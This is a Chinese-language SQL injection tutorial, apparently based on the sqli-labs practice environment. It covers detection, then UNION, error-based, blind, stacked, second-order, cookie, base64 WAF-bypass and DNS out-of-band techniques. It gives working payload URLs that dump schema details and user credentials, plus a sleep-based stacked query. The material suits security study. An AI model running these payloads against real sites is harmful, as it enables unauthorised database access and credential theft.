0x01 SQL 注入简介
在 OWASP 发布的 top10 排行榜中 SQL 注入漏洞一直是危害排名极高的漏洞,数据库注入一直是 web 中一个令人头疼的问题。SQL 注入其实就是恶意用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据做了代码才能干的事情。这个问题的来源是,SQL 数据库的操作是通过 SQL 语句来执行的,而无论是执行代码还是数据项都必须写在 SQL 语句之中,这就导致如果我们在数据项中加入了某些 SQL 语句关键字(比如说 SELECT、DROP 等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
0x02 information_schema
在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schemata,tables,columns。
schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是 table_schema 和 table_name。
columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名表名、字段名为 table_schema、table_name、columns_name。
查询所有的库名select schema_name from information_schema.schemata;
查询 security 库里面所有的表名select table_name from information_schema.tables where table_schema='security';
查询 security 库里面 users 表的所有字段select column_name from information_schema.columns where table_schema='security' and table_name='users';
查询 users 表中的账号密码select username,password from users;
0x03 SQL 注入原理
SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。举例说明:
$id=$_GET['id'];
$sql=SELECT * FROM users WHERE id=$id LIMIT 0,1
SQL 注入漏洞产生的条件:
①参数用户可控:前端传入的参数内容由用户控制
②参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询
0x04 SQL 注入类型
按注入点分:数字;字符;搜索
按提交方式分:GET、POST、HEAD、COOKIE
按执行效果分:联合查询注入、报错注入、布尔盲注、时间盲注、单引号、双引号、数字
总的来说有:联合注入、报错注入、布尔注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入......
0x05 SQL 注入探测
一般来说,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.php?id=XX&type_id=123等带有参数的 php 动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入。如果 php 程序员没有安全意识,没有进行必要的字符过滤,存在 SQL 注入的可能性就非常大。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 字符型
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 数字型
为什么要加 and 1=1 和 and 1=2:
逻辑运算符 and 和 or
真 and 真 = 真
真 and 假 = 假
0x06 SQL 注入类型判断
为了把问题说明清楚,以下以http://xxx.xxx.xxx/abc.php?ip=YY为例进行分析,YY可能是整型,也有可能是字符串。可以用以下步骤测试 SQL 注入是否存在:
1.在URL链接中附加一个单引号,即
http://xxx.xxx.xxx/abc.php?p=YY'
此时abc.php中的SQL语句变成了:select * from 表名 where 字段=YY' #abc.php运行异常
2.在URL链接中附加字符串and 1=1,即http://xxx.xxx.xxx/abc.php?p=YY and 1=1#abc.php运行正常
3.在URL链接中附加字符串and 1=2,即http://xxx.xxx.xxx/abc.php?p=YY and 1=2#abc.php运行异常
# 如果以上三种情况全部满足,abc.php中一定存在数字SQL注入漏洞
如果说上面判断不成立
4.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s //判断是否为字符型
5.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s //结果返回正常
6.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s //结果返回异常
则通过4,5,6判断出为字符型
0x07 UNION 注入
UNION 注入的方式有很多,如:get、post、head、cookie 等等。UNION 联合是将多条查询语句的结果合并成一个结果,UNION 注入攻击为一种手工测试。
UNION 联合注入思路
//判断注入点
http://www.sqli.com/Less-1/?id=1' # 报错
http://www.sqli.com/Less-1/?id=1' -- s # 返回正常
http://www.sqli.com/Less-1/?id=1' and 1=1 -- s # 返回正常
http://www.sqli.com/Less-1/?id=1' and 1=2 -- s # 返回异常
则存在字符型注入
//判断字段数量
http://www.sqli.com/Less-1/?id=1' order by 3 -- s # 返回正常,则至少有三个字段
http://www.sqli.com/Less-1/?id=1' order by 4 -- s # 报错,则说明没有第四个字段,那么就是有三个字段
//判断回显点
http://www.sqli.com/Less-1/?id=-1'union select 1,2,3 -- s # 让前面查询一个不存在的值,则可以把回显点显示出来
//爆数据
http://www.sqli.com/Less-1/?id=-1'union select 1,2,user() -- s # 爆出数据库用户名
http://www.sqli.com/Less-1/?id=-1'union select 1,2,database() -- s # 爆出当前数据库名
http://www.sqli.com/Less-1/?id=-1'union select 1,2,version() -- s # 爆出数据库版本
//爆所有库名
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata -- s
//爆出security库中所有表名
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- s
//爆出users表中所有字段
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- s
//查找所有账号和密码
http://www.sqli.com/Less-1/?id=-1'union select 1,username,password form users
0x08 POST 注入
POST 注入思路和 GET 显错位注入思路一致,只是请求的方法从 GET 变为了 POST。
0x09 报错注入
什么是报错注入
在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都可以使用报错来获取信息。
- 常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()
- 基于函数报错的信息获取(select/insert/update/delete)
- updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
- extractvalue()函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数
由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的如 extractvalue、updatexml 等函数来显示出报错的信息输出)。MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue、updatexml。
| 名称 | 描述 |
|---|---|
| ExtractValue() | 使用XPath表示法从XML字符串中提取值 |
| UpdateXML() | 返回替换的XML |
ExtractValue 函数
语法:
ExtractValue(target, xpath)
target:包含XML数据的列或XML文档
xpath:XPath 表达式,指定要提取的数据路径
例如:SELECT ExtractValue('<a><b>1231313</b></a>', '/a/b');就是寻找前一段 xml 文档内容中的a节点下的b节点,这里如果 Xpath 格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。利用 concat 函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

UpdateXML 函数
语法:
updateXML(target, xpath, new_value)
target:要更新的 XML 数据列或 XML 文档
xpath:指定要更新的 XML 元素的 XPath 表达式
new_value:新的值,将替代匹配的 XML 元素的内容
比如:
UPDATE your_table
SET xml_data = updatexml(xml_data, '/root/element', 'new_value')
WHERE some_condition;
上述 SQL 查询会在满足 some_condition 的记录中,将 /root/element 的内容替换为 new_value。如果 xpath_expr 未找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML 片段。所有三个参数都应该是字符串。

0x0A HEAD 注入
PHP 中的许多预定义变量都是"超全局的",这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。
$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["HTTP_REFERER"] 获取请求来源
$_SERVER["HTTP_X_FORWARDED_FOR"] 获取浏览用户IP
$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip
0x0B 布尔盲注
有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为 boolean 型盲注和时间型盲注。Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过 and1=1 和 and 1=2 可以发现注入点。Boolean 型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
0x0C 堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在 SQL 中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
堆叠注入条件
堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_query() 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
语句构造
正常 sql 语句:select * from users where id='1'
注入 sql 语句:select * from users where id='1';select if(length(database())>5,sleep(5),1)%23;
堆叠注入和 union 的区别在于,union 后只能跟 select,而堆叠后面可以使用 insert,update,create,delete 等常规数据库语句。
0x0D 二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。也就是说一次攻击造成不了什么,但是两次配合起来就会造成注入漏洞。
注入思路
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
0x0E Cookie 注入
一般的防注入程序都是基于"黑名单"的,根据特征字符串去过滤掉一些危险的字符。一般情况下,黑名单是不安全的,它存在被绕过的风险。有的防注入程序只过滤了通过 GET、POST 方式提交的数据,对通过 Cookie 方式提交的数据却并没有过滤,我们可以使用 Cookie 注入攻击。简单说,cookie 是服务器给客户端的一种加密凭证,通常由客户端存储在本地,比如客户A访问XXXX.com,网页给了客户A一个123的凭证,客户B也去访问那个网址,网站给B一个456的凭证,以后A和B去访问那个网站的时候只要加上了那个凭证网站就可以把两个人分开了。
Cookie 最先是由 Netscape(网景)公司提出的,Netscape 官方文档中对 Cookie 的定义是这样的:Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 的用途非常广泛,在网络中经常可以见到 Cookie 的身影。它通常被用来辨别用户身份、进行 session 跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。Cookie 注入简单来说就是利用 Cookie 而发起的注入攻击。从本质上来讲,Cookie 注入与传统的 SQL 注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。如果开发者直接使用了 cookie 中的数据,并且没有对其进行校验。那么 cookie 注入可能就产生了。
注入步骤
①寻找形如".php?id=1"类的带参数的URL
②去掉"id=1"查看页面显示是否正常:如果不正常,说明参数在数据传递中是直接起作用的;如果正常,再判断参数是否通过 cookie 传递
③使用burp抓包并构造 payload,然后使用常规注入语句进行注入即可
0x0F Base64 注入
base64 注入是针对传递的参数被 base64 编码后的注入点进行注入。这种方式常用来绕过一些 WAF 的检测。如果有 WAF,则 WAF 会对传输中的参数 ID 进行检查,但由于传输中的 ID 经过 base64 编码,所以此时 WAF 很有可能检测不到危险代码,进而绕过了 WAF 检测。对参数进行 base64 编码:id=1,id=1',id=1 and 1=1,id=1 and 1=2。编码后:id=MQ==,id=MSc=,id=MSBhbmQgMT0x,id=MSBhbmQgMT0y 来判断是否存在 SQL 注入漏洞。
0x10 DNS 注入
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
LOAD_FILE() 读取文件的函数,读取文件并返回文件内容为字符串。
查看 secure_file_priv 的状态命令:show global variables like '%secure_file_priv%';
DNS 注入条件
- secure_file_priv=''必须为空
- 文件必须位于服务器主机上
- 必须指定完整路径的文件
- 而且必须有 FILE 权限
- 该文件所有字节可读,但文件内容必须小于 max_allowed_packet(限制server接受的数据包大小函数,默认1MB)